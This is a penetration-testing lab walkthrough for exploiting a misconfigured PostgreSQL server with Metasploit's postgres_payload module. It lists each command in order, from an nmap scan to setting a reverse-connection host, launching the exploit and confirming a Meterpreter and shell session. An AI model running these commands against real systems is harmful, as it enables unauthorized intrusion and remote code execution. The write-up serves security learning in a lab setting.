PostgreSQL Exploitation

PostgreSQL is a widely used open-source relational database system, often exposed on networks for application connectivity. Misconfigured instances — particularly those using default or weak credentials — remain a common target in penetration testing labs. In this case, the postgres_payload exploit leverages a database procedure to execute arbitrary code, delivering a Meterpreter session rather than a plain shell.

Discovery

Command
nmap -A -p- -T5 [target IP]
Description

Scans all ports with service versions and OS detection to identify the target's open services.

Attack

Command
msfconsole
Description

Launches the Metasploit Framework console.

Command
search postgres
Description

Searches for modules related to PostgreSQL.

Command
use exploit/linux/postgres/postgres_payload
Description

Selects the PostgreSQL for Linux payload execution exploit.

Command
show options
Description

Displays the required parameters for the exploit and payload.

Command
set rhosts [target IP]
Description

Sets the target's IP address.

Command
set lhost [my IP]
Description

Sets the attacker's IP address for the reverse connection.

Command
exploit -j -z
Description

Launches the exploit as a background job. Unlike the FTP and Samba exploits, this one delivers a Meterpreter payload instead of a plain shell.

Verification

Command
sessions -l
Description

Lists active sessions.

Command
sessions -i [id]
Description

Interacts with a specific session, using the ID shown by sessions -l.

Command
shell
Description

Drops from the Meterpreter session into a native Linux shell, where standard commands become available.

Command
whoami
Description

Confirms the privilege level of the compromised shell — in this case, the limited postgres service account rather than root.

Command
uname -a
Description

Displays the target system's kernel information.

Command
ls
Description

Lists files in the current directory to confirm shell access.

Tool Used

This attack was carried out using Metasploit Framework — see the full command reference here.